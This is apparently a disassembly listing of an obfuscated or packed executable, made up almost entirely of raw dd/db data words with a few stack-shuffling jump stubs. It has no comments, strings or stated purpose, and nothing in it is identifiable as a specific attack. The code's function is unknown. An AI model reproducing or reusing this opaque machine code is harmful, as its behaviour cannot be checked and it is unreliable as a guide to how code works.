dd 24148B54h, 4C481h, 89570000h, 87A89EFh, 83243C8Bh, 148B04C4h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_544543
; ---------------------------------------------------------------------------
db 8Dh, 5Fh, 0B8h
dd 60D0BBFh, 0E0FFC503h, 74AC208h, 3337A9F8h, 32207B5Ah
dd 9C15057h, 6686C31Dh, 7AFE7A0Ah, 7546E79h, 39E5C7C3h
dd 6A8BDA78h, 41763C9Dh, 159F7686h, 246BDAD1h, 41077D71h
dd 248420CCh, 0AE8h, 9A8C4200h, 6F0FD98Bh, 0F482BEEh, 665AF6BFh
dd 81F0F7B8h, 5ABCC2h, 0FE96000h, 45000000h, 0F344357Eh
dd 24A24008h, 0DA7DB862h, 0BB616F09h, 0
dd 811334FFh, 0B785F7C8h, 8B605F15h, 6122B3DEh, 2D85C781h
dd 6E83124h, 90000000h, 81DD5202h, 0E88166BFh, 815874A0h
dd 0BA50F8C7h, 6CB96600h, 31F781E5h, 66248910h, 3C7AD981h
dd 5E957h, 0A0F50000h, 8FD1102Fh, 0FF91A04h, 78Eh, 0D48A6000h
dd 61F38B66h, 0F03EB83h, 189h, 514BF500h, 0FB8158F5h, 0FFFFA5F8h
dd 0FF8E850Fh, 800FFFFFh, 0Dh, 820F60h, 0BB000000h, 293003A9h
dd 3104EB61h, 0E94A680Ah, 55Bh, 8E23C2F3h, 871CBBE7h, 8217B2E0h
dd 7C11ACDBh, 7A0FA2D5h, 0D90CC7DFh, 0DF0CB348h, 0D80AB146h
dd 0D101A83Dh, 66D4A136h, 96E50778h, 693B5243h, 0C269FC2Ch
dd 0D86D083Bh, 0D0660131h, 0F2C13220h, 390C49A3h, 7FAF364Fh
dd 63CF52E8h, 0B819034Fh, 271B277Dh, 690A190Ch, 0B3DF667Fh
dd 16A96D14h, 57EE1E08h, 3E6B14C2h, 82B4B59Fh, 9239D401h
dd 1CC358F9h, 29B057EAh, 0CEBC6CFCh, 49A3DF5Dh, 9001D5A8h
dd 0DB49A3DFh, 55C06708h, 0E214020Ch, 0E313BA4Fh, 63D19D44h
dd 4B49A3DFh, 33A224F2h, 9519AED3h, 0D386F7E5h, 0D5C349A3h
dd 49A3D364h, 8154DCAFh, 76A397h, 2C070000h, 0B24D7BFCh
dd 339E6A11h, 1749A3F2h, 947C8E11h, 0D1E449DCh, 3C828CE7h
dd 19AF1C99h, 0BD58862Fh, 1DFD3h, 25430000h, 94C7507Ch
dd 20C15A01h, 0DCC66191h, 6910AFDBh, 8117B6E2h, 0C23321D1h
dd 0D49A3F2h, 0F1F5663Ah, 6D4049A3h, 0B4E36A83h, 0BC5DF82Bh
dd 70BE5115h, 66FB9AC6h, 16308FBFh, 26D276A8h, 0C447DD7Eh
dd 7834F3D4h, 0EA83B265h, 0E6585F49h, 5CA0F92Ch, 0D0E3FCB2h
dd 55E38A2Bh, 6BBB0BD2h, 442EF2E0h, 0D1781743h, 6FD96720h
dd 6D14A93Ch, 7C03AA3Dh, 741DB34Eh, 0ABC4AE47h, 2B1C2A0Dh
dd 0EB195BA8h, 0D768B18h, 33569EF4h, 18715B46h, 19AEFCCDh
dd 932Fh, 0F92C9300h, 8A33C168h, 0D0D1BB5Ah, 9C6007A2h
dd 0DE113F09h, 739F2855h, 0F3942DD4h, 0AD28EB4Ch, 381EF09Eh
dd 0B060F697h, 0A39E51C2h, 0DFC99C49h, 75FE31D8h, 680FB043h
dd 7017B2E1h, 9F21EFD2h, 19AF1246h, 67B4h, 0A2251800h
dd 0A8D56F5Bh, 64CD660Dh, 98275BEFh, 8C25CC65h, 0D36EA1A2h
dd 0E073A52Ch, 0E171A14Ah, 0A3ED82F3h, 59FACD49h, 162F19B2h
dd 6CDD6BA6h, 160494C3h, 49A3EDA5h, 927C1DF0h, 0A8D55E91h
dd 1889770Dh, 6349A3EDh, 0E85AEF90h, 0BE65002Ch, 0A3F284F2h
dd 0BD666C49h, 0AE09F38Eh, 0C0775E60h, 16519AEh, 0C9000000h
dd 806EFE2Ch, 49A3F20Fh, 711E875Ah, 0A244D584h, 9F26CD6Eh
dd 21BCEA6Fh, 8DFEEC7Ah, 0D849A30Fh, 1CC36405h, 69DE68B1h
dd 0F5ACBB9h, 0D2A549A3h, 1EB9E7E8h, 4038C089h, 34CF01AAh
dd 20AF48Dh, 0A2269A14h, 3BE2B547h, 5BF184B4h, 0F64CBDABh
dd 0D697439Bh, 836D0EA7h, 0F225CE7Ch, 4474755Fh, 0DE0A6CE9h
dd 0D97A272Eh, 99FB6632h, 83B439Ch, 0FB6517Fh, 0A72ED576h
dd 0CB36DD78h, 78B482h, 9DCD7BC5h, 9ECE750Ah, 14EE7107h
dd 9356742Ch, 74FB14FEh, 830AB144h, 8A11B857h, 571BC25Bh
dd 0D7C57AC4h, 439C1066h, 843DDEB1h, 219B9B1Eh, 73DC77A5h
dd 0EBD53BA9h, 68988690h, 9C3938CDh, 2A1FB5C2h, 8E0EB8A7h
dd 2E634303h, 35F76063h, 3F7E1B6h, 0FCh, 8A820A67h, 0FA5806F4h
dd 502347A2h, 53F222A9h, 50E717BEh, 53F222A9h, 0F442FBACh
dd 68B31A4Ah, 6F85CEA6h, 8D8F05E9h, 0F7E81F24h, 25F3418Eh
dd 51F2E928h, 1318BDBCh, 0FEAE1FB6h, 9C939F10h, 2D17EA43h
dd 4139h, 830A9D00h, 0EA0BF98Fh, 9549A3F2h, 0F26EDFCDh
dd 0E6B949A3h, 61D29E45h, 8549A3F2h, 139A6AB4h, 0C7680331h
dd 0C25B8831h, 0C1E2D0D8h, 6C49A3F2h, 65530399h, 49A3F1F4h
dd 7B826C3Fh, 73DAh, 7C255000h, 7912B94Ch, 0FEE46C8Fh
dd 0E15240D0h, 2C49A3F2h, 8117B859h, 0CD08C9FEh, 0C4AEBE84h
dd 0BA5CCEBCh, 0E99947A2h, 0A0740D40h, 439CBA2Fh, 0C3BDA77Ah
dd 9233D202h, 842353FCh, 415A44DDh, 56EB8ABAh, 41E87FAFh
dd 9CB9BD75h, 1F296443h, 0D1660131h, 0F2888008h, 91BC8704h
dd 38DFB241h, 3FE681B1h, 71BD8BD4h, 6D5BF1E9h, 3B84AEF0h
dd 41B3481Bh, 0F48A820Ah, 98F58906h, 0C4F3B447h, 0C9700F3Bh
dd 47EE8F30h, 0AA1B09B9h, 0F54396E5h, 7373822h, 434DB70h
dd 38EA0EA9h, 0D2730B3Bh, 97765F2Bh, 0DA6D0773h, 13B2E24Ch
dd 3220D07Eh, 0F73167C1h, 7BAA390Ch, 0B8A23BE2h, 49F087B7h
dd 53FA93C2h, 0A7919FE8h, 0A44BE077h, 2AC5F374h, 0A249EA83h
dd 1D21h, 7C259700h, 29DCB4Ch, 7A21C25Bh, 0A28F7E1h, 0EB245B87h
dd 184BE5D5h, 9C3DD67Dh, 0FB2CE6B2h, 0C3CC36Ah, 194BD279h
dd 2350D77Eh, 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h
dd 57830AB1h, 536711B8h, 0B850E389h, 45AD6658h, 4BC13548h
dd 6C2D4C6Eh, 5211756h, 62B95631h, 51646625h, 24463514h
dd 0C3010041h, 4EB8358h, 5C241C87h, 81E68956h, 4C6h, 4EE8100h
dd 87000000h, 895C2434h, 0B168240Ch, 89000079h, 68552434h
dd 16D0EE8h, 17F5815Dh, 0F7662327h, 0C8ED81DDh, 8992A4C8h
dd 242C8BE9h, 4C481h, 3E680000h, 89000010h, 4832424h, 685E0424h
dd 62D8h, 0B8240489h, 8, 889F001h, 24348B58h, 81E68956h
dd 4C6h, 4C68100h, 87000000h, 0FF5C2434h, 83592434h, 0FCE904C4h
dd 0EFFFFA6Ah, 53CF4716h, 0CCBAAAEBh, 0B897BF95h, 60D11DCh
dd 0E0FFC503h, 2DA78175h, 6B6E69Eh, 4F3383D0h, 15F58920h
dd 7C7BF76Eh, 366863A0h, 679776Eh, 5070E320h, 17DE9h, 0FE5D6000h
dd 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh
dd 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh
dd 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh, 0E56D599Ch
dd 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh
dd 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh, 43h dup(0)
dd 0D1F80000h, 0DA43736h, 0E699D3C2h, 0F8E94D96h, 6800000Eh
dd 60D1633h, 0FB2D5BE9h, 172768FFh, 51E9060Dh, 68FFFB2Dh
dd 60D18A9h, 0FB2D47E9h, 196F68FFh, 3DE9060Dh, 68FFFB2Dh
dd 60D1A82h, 0FB2D33E9h, 1B2668FFh, 29E9060Dh, 68FFFB2Dh
dd 60D1BBDh, 0FB2D1FE9h, 1C4968FFh, 15E9060Dh, 68FFFB2Dh
dd 60D1D87h, 0FB2D0BE9h, 1DE668FFh, 1E9060Dh, 68FFFB2Dh
dd 60D1E8Eh, 0FB2CF7E9h, 1F3368FFh, 0EDE9060Dh, 68FFFB2Ch
dd 60D1FCCh, 0FB2CE3E9h, 20C268FFh, 0D9E9060Dh, 68FFFB2Ch
dd 60D21B1h, 0FB2CCFE9h, 0A4736CFFh, 41140BD2h, 0DFB0A86Fh
dd 7754460Dh, 13E8DEA5h, 0BA2E6F41h, 561DEFC4h, 0EFB68863h
dd 895022FBh, 0D2EBBD94h, 0B85EAB95h, 16578024h, 6C514618h
dd 31CD3582h, 0E02D1786h, 0D98631CCh, 825132F8h, 886D6237h
dd 31CC519Eh, 0F2425286h, 0B3BF7905h, 0D9AB7A49h, 0E5B4502h
dd 786319Ch, 145F3028h, 424B6E3Dh, 745E3B29h, 8C38B6F0h
dd 0C0958A69h, 0D924F3CCh, 0B67257D3h, 3C0B1A79h, 0EBE3906Dh
dd 4254F71Ah, 802A29F1h, 0D41FF6EBh, 0E6310CFFh, 57451C11h
dd 0ECDE9EE6h, 310A2383h, 0A9F169C1h, 28h, 5DC962E1h, 0E6C39267h
dd 0B2857C29h, 0DE112D8Fh, 27088C38h, 0BB79CADCh, 0E54E802Ah
dd 56936C9Dh, 0D50BF16Ah, 43000000h, 2F7A5146h, 448F645Ah
dd 0ECA0815Fh, 0D6CD481Bh, 0C2998EB3h, 0D6ADA277h, 0CADC1BF9h
dd 0B9671543h, 312682CFh, 0D3A28386h, 38286B0h, 7D86312Ch
dd 18DFB188h, 7543E23h, 86312Bh, 2005501Fh, 2B2C7963h
dd 4C2D8631h, 190B2029h, 4A7E523Ch, 28178C38h, 2A0FF13Eh
dd 4211F280h, 0F7EC9970h, 0DBFED520h, 0EECB59D2h, 33BD7304h
dd 8BE4F486h, 6975E61Ch, 0A65330FFh, 4209DBB0h, 0E6C0774Ch
dd 289DFD72h, 0C4A519Bh, 1A130000h, 0BBB2794Bh, 574F16E8h
dd 0FBEDB486h, 8F854C1Eh, 0D516E8BAh, 0C4966B61h, 5D2F0AFDh
dd 0F7C9A296h, 92643B30h, 5523C79h, 0FE8024B7h, 5046BFBDh
dd 0EDE2A97Bh, 9E7C3916h, 0DF2D89C6h, 3A8791CFh, 3B863178h
dd 550D375Ah, 7E5BC962h, 5379D4A0h, 8EB1C01Bh, 0B9536F59h
dd 43328C38h, 2A990C59h, 5D2C0D80h, 8C802D12h, 6E9168B3h
dd 2A98BB0Ch, 0DF279080h, 6A33D5AEh, 0BB4DF1h, 0B9660000h
dd 0ABF8E2C1h, 0AC802AA4h, 0C3D9FCCBh, 8A7C5146h, 0BE93DEADh
dd 0AEFBE5C8h, 0A78631CCh, 0CC81CEB8h, 0A1828631h, 0A6B803D2h
dd 8631D127h, 83552C21h, 0A5F0C7BCh, 8E57FECh, 38E84A1Eh
dd 5956348Ch, 0E5FFBC95h, 6F506E91h, 0EB79F29Dh, 9082240Eh
dd 96778633h, 41160CB9h, 0F6EB986Fh, 0A552C21h, 1C416433h
dd 169A5126h, 0C9DFD74h, 0B56357Fh, 261F0000h, 0C7BE8557h
dd 635B22F4h, 7F9C092h, 9B91582Ah, 0E122F4C6h, 0D0A2776Dh
dd 693B1609h, 3D5AEA2h, 9E70473Ch, 115E4885h, 128024B6h
dd 5046D3D1h, 0EDE2A97Bh, 8F6D4416h, 0DB7D051Ah, 0BE8F87CDh
dd 0AACD9C73h, 7A514694h, 0A79D4A2Fh, 0BE0BF5D2h, 0B78631CCh
dd 998EB3D6h, 2645F0C2h, 5C3BF90Fh, 9564CDBAh, 0B73ACEB8h
dd 0FCDB8C38h, 0BE22D0Ah, 8EDFF13Ch, 63802A96h, 0D8250FCCh
dd 0D1802A96h, 7EC6CDF0h, 6A31744Dh, 6CECF1h, 58050000h
dd 6A418C63h, 0C9623147h, 0BC947E5Bh, 0DD8C38D8h, 4E9FB1FCh
dd 23802AC1h, 68416ABAh, 4BF16A58h, 0AFD2A99Eh, 410Fh
dd 867B2800h, 6A8D64AFh, 5BC96254h, 6AE3C17Eh, 2CFFF630h
dd 8D55062Eh, 744A53C7h, 14370614h, 382FB6B2h, 63AE8F8Ch
dd 2A280051h, 146CD580h, 0DCB5A956h, 0FF97BA91h, 0F169C326h
dd 79Eh, 0D4D1D600h, 0F9000007h, 0BF928936h, 8C98939Ch
dd 0E0A7C5AFh, 81628C3Eh, 2B02F7A4h, 0C69D9259h, 0F1E9967Bh
dd 0DBFED520h, 0EECB59D2h, 29744D41h, 3A856254h, 3C719463h
dd 9DAD27Fh, 3990D60Bh, 0FB1E766Ch, 31910A99h, 0C9A68786h
dd 5842271Ch, 8631700Bh, 8A5C2B0Ch, 0ACF7CEC3h, 42231AC7h
dd 31700B58h, 5C2B0C86h, 293B3039h, 0D3AC9F4Ch, 153807DEh
dd 7166F6E0h, 6E78C38h, 0F6836B4Fh, 0F43ECBA3h, 9D4h, 3D5A49Dh
dd 0A072453Ch, 3E10E1D9h, 0D6A88577h, 7244190Fh, 0F5EB5FA0h
dd 94874E20h, 2C20E7B9h, 0C5BA8153h, 0C6031CEEh, 24B48FDCh
dd 49478880h, 31CDB809h, 0C75DCE86h, 0DED200EAh, 0B08F8C3Eh
dd 0C49BE6B9h, 0F37823F5h, 1AD79471h, 24BAE330h, 2603E480h
dd 24BAEF3Ch, 0E407E880h, 31CE5C82h, 5F3C1D86h, 14E6BDB2h
dd 3681584Dh, 9976EE7Dh, 3EDE28AFh, 6B48298Ch, 20F2C9BEh
dd 0D2A59C49h, 0EBE3B087h, 0DDD2F71Ah, 703F1008h, 99834025h
dd 8024BA4Ch, 0E7496C4Dh, 24B998h, 0CAA7BDAEh, 2BBE68E0h
dd 9CF4D206h, 0CD97033Eh, 15BE4745h, 772EE139h, 63573654h
dd 0C004BB8Ah, 8A1DF9C4h, 90EB3FDh, 0DED70000h, 7F763D0Fh
dd 1B13DAACh, 0BFB1784Ah, 534910E2h, 99DAAC7Eh, 885A2F25h
dd 21F3CEC1h, 0BB8D665Ah, 5628FFF4h, 0C916003Dh, 0CA8024B3h
dd 0C9628B89h, 66947E5Bh, 238C3EE0h, 44876542h, 0DB36C358h
dd 0E390C5E8h, 7E4517EEh, 0AE67B289h, 0DCAA7BDh, 1FD752Fh
dd 233A3809h, 3496B92Ch, 86314712h, 745143F0h, 112F5229h
dd 0B1A65330h, 4C4108DAh, 0FA712A75h, 13D08D6Ah, 3142DC29h
dd 0D9FCDD86h, 3E561877h, 0BEB5628Ch, 0A6C9A0EBh, 1DCAA788h
dd 0B87F5128h, 310FECC3h, 0C2C58E46h, 0AA4D704Fh, 24104798h
dd 58CE5D80h, 48957F62h, 41802410h, 0E5C29160h, 312291FBh
dd 4A270886h, 0B0D3A69Dh, 2D9CE7Bh, 9F746930h, 0A085D0ADh
dd 311D69B6h, 0BA896A86h, 44E7A0EBh, 615603E0h, 45683F8Ah
dd 31002610h, 10F18C3Eh, 51F0CC5h, 33163E28h, 0F8D7862Bh
dd 0DBE12C03h, 956EBEEFh, 83501F1Ch, 946BB68Fh, 2FC00EC5h
dd 119E9DF9h, 7FBC7h, 0FCCBC400h, 996C632Ah, 370800C7h
dd 0CFAC9E65h, 6B4036FDh, 1286C799h, 0AE75471Ch, 470EE0BBh
dd 0E1A87A53h, 2A4315ECh, 0B2B603EDh, 6EAF8024h, 8F793670h
dd 8631CD42h, 0A0956243h, 84A77EC9h, 48936A5Fh, 5CA77E73h
dd 13C91942h, 3B75471Eh, 0F7716762h, 7DAh, 83D11200h, 0F9000004h
dd 50DBFF60h, 890DF7D4h, 0F08C38D6h, 0B6B1C50Fh, 0A8533694h
dd 80E17283h, 8953D73Ch, 3BF3DDBAh, 1AB72C41h, 3635EE39h
dd 4E67512Eh, 3FB930A9h, 0DFD4815Eh, 7A6F3608h, 0AECECA3h
dd 0F98672F1h, 757AFh, 58272000h, 0F5C8BF86h, 93645C23h
dd 2B08FAC1h, 0C79C9259h, 6EE223F5h, 0AD1A378h, 0A36A3C17h
dd 3D04D6AFh, 869F7148h, 0B2125F49h, 0D2138024h, 7A5146D4h
dd 8F645A2Fh, 0D1912BDh, 94714019h, 3EDF52AAh, 8562438Ch
dd 0BCDDE3D8h, 9B6537E2h, 0DC27FAF1h, 95673605h, 0F04D9CEh
dd 391E6938h, 5D8CF7Ch, 8CD9E3BAh, 8D80243Ah, 0EB8089ACh
dd 90B29C79h, 8986314Dh, 610ECBA8h, 744B966Bh, 60372C51h
dd 0FBD2C78Eh, 10E5DBB0h, 0EFA88959h, 2670FD9Dh, 6C0h
dd 0EFC19089h, 8C5E3128h, 2AFCCDC5h, 0C2947163h, 5E3005FBh
dd 0E1D74B8Ch, 80733A0Ch, 180CD3A5h, 0B1A66D3Fh, 0B2EF08DAh
dd 24B17BC8h, 3D3B7C80h, 7E5BC962h, 7C5DECA0h, 8F66B186h
dd 0EAF26091h, 86A892C7h, 5C8C3EC4h, 95E0BDAFh, 0AAF5CAC0h
dd 0C3E104D3h, 8B4805E2h, 24C454A1h, 51745580h, 6852372Ch
dd 8024C51Bh, 9A6C3B1Ch, 0BC07DED3h, 1FFC6803h
dd 2BD3F935h, 1A0CB986h, 1BFC1A3Dh, 0F92E8864h, 3B85129Dh
dd 634h, 633504FDh, 0D2A59Ch, 9E704139h, 3608E5D7h, 0D2A4796Fh
dd 554BBF00h, 0F4E7AE80h, 8C804719h, 251AE1B3h, 26637C4Eh
dd 24B0EF3Ch, 0A9A7E880h, 2F7A5146h, 438E655Ah, 0FAA00029h
dd 225C2E05h, 0F7716449h, 0EC1h, 8936F900h, 9D74BF92h
dd 2C4E07Ah, 46080000h, 4A2F7A51h, 85D0A99Dh, 12E1BEB0h
dd 0DF45E6EFh, 0E0F61802h, 0C4A38C3Eh, 0D7AEF9CEh, 815F3608h
dd 76138898h, 0C0E50842h, 5A17F4CBh, 24422370h, 4D452480h
dd 8B5A317Ch, 0FAF0C568h, 41E02D17h, 0F8D98024h, 0C3805729h
dd 24418CD9h, 0BB908680h, 507FE5F5h, 275A7502h, 3F2C3558h
dd 0AD8B4825h, 983BA00h, 0E709387h, 8631B1CBh, 510EEBCCh
dd 0E8DBAEA4h, 1CF33E0Dh, 0ADFD4F9h, 9F714013h, 0AFDDE3D8h
dd 3693296h, 14F94413h, 59B3FA36h, 0E3066854h, 16F3C8BEh
dd 9D9B7669h, 86CC7165h, 7215384Dh, 0D5B2B2B9h, 24715B18h
dd 258630F5h, 0F4ED3A44h, 0A8AE8630h, 649C2BD7h, 88AB8C52h
dd 0F5E99653h, 752291Eh, 0DC3E6130h, 8C387A48h, 0ABF8E2D1h
dd 0AC802A5Fh, 0B145FCCBh, 0FDA3F694h, 4F62670h, 0C6BF0000h
dd 675E25F7h, 3FBC294h, 0A7996032h, 3B31F8CAh, 81C29466h
dd 7042170Dh, 9DBB6A9h, 0A3754E42h, 3E10E7DCh, 0B1FEE825h
dd 0B28024AFh, 51467371h, 655A2F7Ah, 29438Eh, 2E05FAA0h
dd 6449225Ch, 7C1F771h, 0F9000000h, 120D1h, 5146F900h
dd 273DC37Ah, 0F8859DEFh, 497AEh, 98676000h, 3508FFC6h
dd 0D3A49C63h, 6B483A01h, 7DCD299h, 0AE226335h, 4A11E3B8h
dd 0E3AA7C57h, 7D4416EFh, 0C6DFB188h, 0AF529F89h, 12538024h
dd 4B514614h, 2C12E1ABh, 0C40FDE8Fh, 0D823FAEFh, 7F4D95BEh
dd 5482C8A1h, 643B8661h, 0A9D1FB66h, 956C6186h, 80EECC3h
dd 50628B90h, 7851E90Ch, 0F0F770BEh, 14h, 0A3D128h, 36F90000h
dd 72BD9489h, 96DE789Bh, 6000000h, 7E5BC962h, 3EE17294h
dd 0FB46278Ch, 5E3B2942h, 0ADFAE4A1h, 0A68024B8h, 0FC40A2C5h
dd 0FD862BC9h, 2CA5651Ch, 0A4319DF9h, 3EF5Ah, 0F0BFB800h
dd 8D60571Eh, 2BFCF4BBh, 0C3A09259h, 5F342AF1h, 67ABB8Dh
dd 0A2693B10h, 3B02D4AFh, 0D59C6E47h, 1E3709E0h, 0AEAAF7E1h
dd 6AAB8024h, 4DC9626Ch, 31CD1663h, 3C130886h, 0CDA09776h
dd 68522FFEh, 8C3918B2h, 34E1BE9Fh, 95996B3Ch, 802A8245h
dd 0E942483Dh, 1BD144F5h, 0F7BE905Fh, 99E32EFFh, 388h
dd 25836C1h, 4F9C8604h, 488630FCh, 10A66967h, 3283154h
dd 385A4421h, 0E18C3EDDh, 0F2D0B500h, 0BCC75744h, 3E476AB7h
dd 705A372Dh, 862BC92Ch, 7F954C2Dh, 6B9DF92Bh, 34A94DEh
dd 1A130000h, 0BBB2794Bh, 574F16E8h, 0FBEDB486h, 8F854C1Eh
dd 0D516E8BAh, 0C4966B61h, 5D2F0AFDh, 0F7C9A296h, 92643B30h
dd 5523C79h, 0FE8024AEh, 0C962BFBDh, 76947E5Bh, 138C3EE1h
dd 0B3A85532h, 76330ADCh, 24B93F8Ch, 34573880h, 0F8431A0Fh
dd 5B382C3Fh, 31CBE271h, 0A17E5F86h, 4B28FFF4h, 0C657A48Eh
dd 6F508631h, 665B224Ch, 0E08B448Fh, 2DEAA784h, 31C6F643h
dd 0EB0EEF86h, 38C8F989h, 0A699788Ch, 7251EF9Ch, 0F1C0790Ah
dd 4900CFA6h, 0A3F6C3D5h, 0B1529C29h, 7A000002h, 19E0B281h
dd 0B67D4F22h, 541BEDBEh, 0ECB38562h, 7D4F21F6h, 0FDD2C83Ch
dd 9671642Bh, 3009FDC4h, 0CBA2975Eh, 0B9A3E0F9h, 8024AD6Ch
dd 462E2C6Dh, 5A2F7A51h, 11BC8E65h, 432D0A1Ah, 8C38E7BFh
dd 788AD5B6h, 802AB327h, 0C572A21h, 1D684537h, 0E890F0F1h
dd 14358DF6h, 0F16A4A3Bh, 27B3h, 0C962EB00h, 78947E5Bh
dd 118C38DEh, 82D3E530h, 57802ABBh, 9C7596EEh, 7FF16A56h
dd 0BB06DDD2h, 0AC21C1E4h, 59000000h, 2F7A5146h, 448F645Ah
dd 0C6A37A6Fh, 0A3B124E8h, 24466FE7h, 0E2B79FEFh, 0D87B9E6Dh
dd 65370E03h, 3197E261h, 8C635886h, 370C02AFh, 2E23EA14h
dd 0D8530C57h, 36815A4Eh, 0C9B3905Fh, 8C38BDF9h, 9A4517F8h
dd 0CCB69391h, 863469A2h, 0EC997657h, 884F21F6h, 0F5C8BF92h
dd 0DE12E18h, 1E28623h, 0E6AD7B32h, 0D8659DFDh, 1BB8Eh
dd 0BC8B8400h, 592C23EAh, 0F7C8C087h, 8F6C5E25h, 2B00F6BDh
dd 0D2468759h, 6E3507DCh, 7CEA07Bh, 0A1683A13h, 0EA03D5ACh
dd 0AC76C3ADh, 2E6F8024h, 7B504630h, 25FCF19Eh, 1C11D802h
dd 62BB7345h, 947E5BC9h, 8C38DE78h, 0D3E53011h, 802ABB82h
dd 62AD8A7Ch, 74BF9A8Dh, 5800602Fh, 84A5FD66h, 0F16A56ABh
dd 0C523h, 51465B00h, 645A2F7Ah, 1105B28Fh, 0F316ED38h
dd 0D1BF3E50h, 0FCA98631h, 0E80D3007h, 834A1CF3h, 0B36CB78Eh
dd 67B49EB8h, 608631C8h, 0E4BFB27Fh, 7E4E3815h, 7F8C38F8h
dd 0A21CC9Eh, 0CA533D1Ah, 0CB86344Ch, 6A600DEAh, 0AC144966h
dd 0B7E99466h, 0A7C412D6h, 6D8A776h, 3B88722Fh, 3C862388h
dd 1D13385Bh, 8803503Ah, 50CC8623h, 39EFAF10h, 1DEBF85h
dd 22E9CA17h, 1BEACB86h, 0FE0ACE64h, 81CB589Dh, 0CCh, 0FBCD9C95h
dd 986A3D34h, 3608D9D1h, 0CEA07D6Fh, 6A3C1107h, 0EDE35798h
dd 8C7F4618h, 2418DFB1h, 0BDB2794Bh, 0BEFB14E6h, 24AB87D4h
dd 413F8080h, 867D5046h, 0C29168B3h, 5D3429F0h, 7936D38Bh
dd 31CD428Fh, 64624386h, 9ABB4634h, 0FC2144E8h, 96533007h
dd 30E75FACh, 54775886h, 10E7DCB1h, 8C98933Eh, 0FBAFC5AFh
dd 8B6A8C3Dh, 0A4EFBE97h, 0BF5DACFh, 8023DBBEh, 98E3BCB0h
dd 4B1AFBC1h, 0FDF5A279h, 1964372Eh, 51287342h, 3D14092Eh
dd 0A0EBE0F2h, 0DF0ECBBFh, 1A653E32h, 0C9192043h, 8D5E5603h
dd 9879C6B0h, 997A389Bh, 855C5176h, 20F7ECB3h, 310E00D5h
dd 72D2A1E6h, 2E00D7CCh, 509B7267h, 306h, 67672E00h, 337E4D46h
dd 4792695Eh, 5AA57E72h, 6CB79285h, 81CCA197h, 96E1B6ACh
dd 0A7F2CFC1h, 0BE09DAD2h, 0D41FF2E9h, 6EEE6888h, 8F540000h
dd 4812404h, 424h, 0E1895100h, 4C181h, 0E9830000h, 240C8704h
dd 243C895Ch, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
dd 5352242Ch, 781ED768h, 0EBD15B6Eh, 0C381D3F7h, 3D492446h
dd 895BDA89h, 8B545AD7h, 0C483242Ch, 8B95104h, 1000000h
dd 8B3989E9h, 0C483240Ch, 242C8B04h, 81E28952h, 4C2h, 4C28300h
dd 5C241487h, 51243C8Bh, 0C181E189h, 4, 8704C183h, 0E95C240Ch
dd 0FFFB1E74h, 6E5AA921h, 0B84BC8BAh, 60D22A2h, 0E0FFC503h
dd 1A38BAD0h, 39BBCE67h, 572E646Ah, 6D855166h, 543FBE15h
dd 59CF1840h, 55FA10E9h, 2E11B8ECh, 29BA9BE6h, 788E8EA5h
dd 4735A0A8h, 4AA081B0h, 41B5F7BEh, 35CEE251h, 739C63EFh
dd 55C7A701h, 6CDE138Fh, 337152D4h, 5007D0E5h, 0AC9BE76h
dd 6950CB10h, 767D97FEh, 23555B28h, 54B8A011h, 22514488h
dd 117F20F1h, 2B995B37h, 19A33846h, 7168470Ch, 2041518Ch
dd 7E63613Ch, 1877127Fh, 9E8h, 0ACBB5A00h, 0DC187931h
dd 0F2B933C9h, 5F64FFA7h, 3830Fh, 0BF0F0000h, 0BCC781C8h
dd 66000069h, 0DB2BD18Bh, 36D6F081h, 348B7FD7h, 0C981661Fh
dd 0C681BC92h, 1BC5DB5Fh, 0F701EE81h, 0DE850D4h, 91000000h
dd 0D9700A7Ah, 3861FBB6h, 74E65D80h, 0E24CD5B9h, 0C681584Ch
dd 7164039Fh, 0DDFBA66h, 0B01F3489h, 96C88192h
dd 813C80FCh, 0B0118EEBh, 0CE950h, 707A0000h, 1FCFCE9h
dd 78CB049Eh, 0C3818B55h, 50B0118Ah, 6830F60h, 0F000000h
dd 86h, 0DE900h, 0FDA80000h, 31CF959Ch, 76BE4F1Ah, 61FCE75Bh
dd 9728FB81h, 850FFFFFh, 18h, 2EE9E38Ah, 3D000000h, 1EEEB8EDh
dd 690F8385h, 618DCB97h, 145DCE9Ah, 0B9BE9DB8h, 0FF54E962h
dd 912FFFFh, 0C00C5A17h, 276A3E48h, 0B814371Fh, 0FE0CD82Fh
dd 2E8D8D0Ch, 0BF060D25h, 73416359h, 1AD98D89h, 858B0607h
dd 6072A8Dh, 101D85C7h, 62E80607h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0F4F46CC3h
dd 9D6859FCh, 8988F876h, 7027995h, 585C706h, 60733h, 66000000h
dd 0FF6A9EBAh, 70BE9B5h, 3870F06h, 80000000h, 95FF9AE2h
dd 6071859h, 20F9858Bh, 6A0607h, 0D6995FFh, 0C08B0607h
dd 7FFE5EEBh, 0A2C0E6E1h, 9FA25DA4h, 48032F29h, 3DBFBB6Bh
dd 0A2ABB2AEh, 32F3066Dh, 0D9A1C3F0h, 0C908F255h, 37E57777h
dd 6A38DBDAh, 4F9DE351h, 802EE8FBh, 0A3DAAFB3h, 6637247h
dd 0EB699B99h, 0E1AA0098h, 0E3E5ABABh, 991E9A51h, 5240D8C3h
dd 2EB6F283h, 27CA0546h, 0D753BB3Fh, 53219F2Ah, 10E8h
dd 0F6DB8800h, 0A0F35C0Ch, 3E312BBDh, 5AB64611h, 0B52B5B65h
dd 60706EDh, 60A7C381h, 680000h, 31000000h, 7050D8Dh, 0F58A5906h
dd 810B3C8Bh, 134801EFh, 0E5958975h, 8106072Fh, 2B56CAEFh
dd 0F28B6618h, 4C1BC781h, 0B70F7770h, 8FFC57F3h, 0BD890B04h
dd 60701B9h, 2B5DB589h, 0E9810607h, 5727B479h, 99D8960h
dd 61060700h, 0B475C181h, 0C6815727h, 75D27F5Fh, 0A018F981h
